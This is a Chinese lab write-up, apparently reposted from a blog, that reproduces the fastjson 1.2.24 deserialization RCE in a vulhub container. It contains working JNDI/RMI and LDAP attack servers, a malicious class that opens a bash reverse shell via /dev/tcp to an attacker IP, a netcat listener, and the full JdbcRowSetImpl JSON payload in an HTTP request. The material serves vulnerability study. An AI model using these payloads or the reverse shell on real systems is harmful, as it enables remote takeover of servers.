fastjson1.2.24 CVE-2017-18349 漏洞复现

ops/2025/3/4 19:19:21/

fastjson1.2.24 CVE-2017-18349 漏洞复现

时间不等人啊/(ㄒoㄒ)/~~

0. 前置知识

建议直接看参考链接

JNDI:Java命名和目录接口

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

CORBA:公共对象请求代理体系结构

1. jndi

JNDI InitialContext类

构造方法

InitialContext() 
构建一个初始上下文。(获取初始目录环境)  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。

常用方法

bind(Name name, Object obj) 
将名称绑定到对象。 
list(String name) 
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
检索命名对象。 
rebind(String name, Object obj) 
将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
取消绑定命名对象。

示例

import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

Reference类

构造方法

Reference(String className) 
为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

示例

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className – 远程加载时所使用的类名

参数2:Factory – 加载的class中需要实例化类的名称

参数3:FactoryLocation – 提供classes数据的地址可以是*file/ftp/http***协议

常用方法

void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
将地址添加到地址列表的末尾。  
void clear() 
从此引用中删除所有地址。  
RefAddr get(int posn) 
检索索引posn上的地址。  
RefAddr get(String addrType) 
检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
检索本参考文献中地址的列举。  
String getClassName() 
检索引用引用的对象的类名。  
String getFactoryClassLocation() 
检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
从地址列表中删除索引posn上的地址。  
int size() 
检索此引用中的地址数。  
String toString() 
生成此引用的字符串表示形式。

2. jndi注入的利用条件

  • 客户端的lookup()方法的参数可控
  • **服务端在使用Reference时,**Reference(String className, String factory, String factoryLocation)中,factoryLocation参数可控/可利用

满足任一即可,jdk版本要求如下:

  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性
  • JDK 6u141、7u131、8u121开始:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
  • JDK 6u211、7u201、8u191开始:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

小迪安全里的表格

JDK6JDK7JDK8JDK11
RMI可用<6u132<7u122<8u113
LDAP可用<6u211<7u201<8u191<11.0.1

3. RMI+JNDI方式

RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

服务器端

//server.java
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8081/";//恶意代码test.class在http://127.0.0.1:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

test.java

//test.java
//不要包名
public class test {public test() throws Exception{Runtime.getRuntime().exec("calc");}
}
编译:javac test.java
部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口

当客户端通过InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)获取远程对象时,会执行我们的恶意代码

//client.java
package JNDI;import javax.naming.InitialContext;
import javax.naming.NamingException;public class client {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}

4. LDAP+JNDI方式

JDK<8u191

服务端maven需要添加如下依赖:

java

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.0</version>
</dependency>

服务端ldap_server.java

package JNDI;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class ldap_sever {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8081/#test"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));//设置监听地址为 0.0.0.0:7777,并绑定默认的 ServerSocketFactory 和 SocketFactory。config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一个自定义的 OperationInterceptor,用于拦截客户端的查询请求并返回恶意响应。InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();//启动 LDAP 服务器}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {//构造一个恶意的 LDAP 响应String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();//远程urlint refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$   //设置为远程 URL 的 ref 部分e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);//发送恶意响应result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

客户端ldap_client.java

package JNDI;import javax.naming.InitialContext;public class ldap_client {public static void main(String[] args) throws Exception{Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");}
}
JDK >= 8u191

关于JDK >= 8u191的利用目前公开有两种绕过的方法,

两种绕过⽅法如下: 1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令. 2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget(已有代码片段) 完成命令执行. 
这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击

详见参考文章

1. 環境搭建

windows环境

自行下载docker desktop

下载netcat,并添加环境变量

https://eternallybored.org/misc/netcat/

下载git

https://git-scm.com/downloads/win

下载vulhub

git clone https://github.com/vulhub/vulhub.git

启动docker容器

C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d

在这里插入图片描述

在docker desktop进容器里执行命令

su 
find / -name "*.jar"
#或者cmd终端里sudo docker exec -it 5ddafb45c605 /bin/bash 
java -version
#可知容器jdk版本openjdk version "1.8.0_102"

在这里插入图片描述

将文件拷贝到本地

docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar

在这里插入图片描述

改后缀为zip后解压,用idea打开

idea的project structure里设置jdk为jdk1.8.0_65

2. 分析

该代码是一个Spring MVC控制器,主要处理JSON数据的序列化与反序列化

  • 使用@Controller注解声明控制器类,并通过@ResponseBody实现响应体自动序列化为JSON‌1

  • @RequestMapping通过method参数区分GET/POST请求,符合RESTful设计规范

  • @RequestBody接收的User对象若包含未校验字段,可能存在反序列化攻击风险

在这里插入图片描述

我们的payload(JdbcRowSetImpl利用链)格式如下:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

idea裏面Navigate->Search Everywhere查找JdbcRowSetImpl,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class

conn为null,"autoCommit":true时,会调用this.conn=this.connect()

在这里插入图片描述

dataSourceName不为null时,会调用lookup函数,并且获取到getDataSourceName的值

在这里插入图片描述

3. 采用JNDI+RMI注入

我们采用JNDI+RMI注入(利用恶意序列化对象执行任意代码)的思路

在这里插入图片描述

恶意类

// EvilClass.java
import java.lang.Runtime;//记得导入库
import java.lang.Process;
public class EvilClass {static {try {// 反弹shellProcess pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});System.out.println("恶意代码已执行!");pc.waitFor();} catch (Exception e) {e.printStackTrace();}}
}

jdk1.8.0_65将这个类编译成 .class 文件,输出到code目录下

javac  C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code

在code目录下开cmd,启动http服务

#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081

服务器端,在idea里运行

package com.jk.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://192.168.75.180/";//恶意代码EvilClass.class在http://192.168.75.180:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

开个cmd,使用netcat监听8088端口

nc -lvvp 8088

burpsuite抓包,send to repeater

POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

在这里插入图片描述

参考

javasec(八)jndi注入 海屿-uf9n1x

Java反序列化之FastJson1.2.24 IDEA动态调试解析 不用再等


http://www.ppmy.cn/ops/163101.html

相关文章

机器视觉3D焊接机器人视觉跟踪系统核心技术解析

焊接机器人集成视觉跟踪系统的核心技术要素涉及多学科的交叉融合,其核心在于实现精准、实时、自适应的焊接过程控制。以下是五大关键要素及其技术解析: 高精度视觉感知技术 传感器选型与布局 采用工业级高速相机(如CCD/CMOS)、激光扫描仪或结构光传感器,需根据焊接场景(弧…

Github 2025-03-01 开源项目月报 Top19

根据Github Trendings的统计,本月(2025-03-01统计)共有19个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目9TypeScript项目6Jupyter Notebook项目2JavaScript项目2非开发语言项目1Svelte项目1Rust项目1Go项目1C++项目1Ollama: 本地大型语言模…

JS宏案例:在wps编辑器中玩numpy

NumPy 是 Python 中用于科学计算的一个基础库,它提供了大量的数学函数工具,尤其是用于高效处理大型多维数组和矩阵。NumPy 是 Python 数据分析、机器学习、科学计算等领域中不可或缺的一部分。 然,在wps的js宏编辑器中,并没有这样一个模块或是全局对象,但是,问题不大,我…

05. Springboot admin集成Actuator(一)

目录 1、前言 2、Actuator监控端点 2.1、健康检查 2.2、信息端点 2.3、环境信息 2.4、度量指标 2.5、日志文件查看 2.6、追踪信息 2.7、Beans信息 2.8、Mappings信息 3、快速使用 2.1、添加依赖 2.2、添加配置文件 2.3、启动程序 4、自定义端点Endpoint 5、自定…

【星云 Orbit • STM32F4】04.一触即发:GPIO 外部中断

【星云 Orbit- • STM32F4】04. 一触即发&#xff1a;外部中断控制 摘要 本文详细介绍了如何使用STM32F407微控制器的HAL库实现外部中断功能。通过配置GPIO引脚作为外部中断源&#xff0c;并在中断回调函数中处理按键事件&#xff0c;实现了按键控制LED状态翻转的功能。本文旨…

C# Equals 和 ReferenceEquals 使用详解

总目录 前言 在C#中&#xff0c;Equals 方法和 ReferenceEquals 方法用于比较对象&#xff0c;但它们的用途和行为有着显著的区别。理解这两者的差异对于编写高效且无误的代码至关重要。 一、Equals 方法 1. 定义 Equals 是 System.Object 类中的一个虚方法&#xff0c;用于…

【练习】【贪心】力扣452. 用最少数量的箭引爆气球

题目 用最少数量的箭引爆气球 有一些球形气球贴在一堵用 XY 平面表示的墙面上。墙面上的气球记录在整数数组 points &#xff0c;其中points[i] [xstart, xend] 表示水平直径在 xstart 和 xend之间的气球。你不知道气球的确切 y 坐标。 一支弓箭可以沿着 x 轴从不同点 完全垂直…

基于DeepSeek与Swarm的全场景多智能体客服实战解析(含全套源码)

本文来自九天老师的公开课&#xff0c;由赋范空间运营进行整理编辑&#xff0c;如果你有任何建议欢迎评论告知哦~ DeepSeek v3可以说是智能体开发的首选模型没有之一&#xff01; 模型综合性能和GPT4o相当&#xff0c;价格只需要GPT4o的1/20&#xff0c;并且支持Function cal…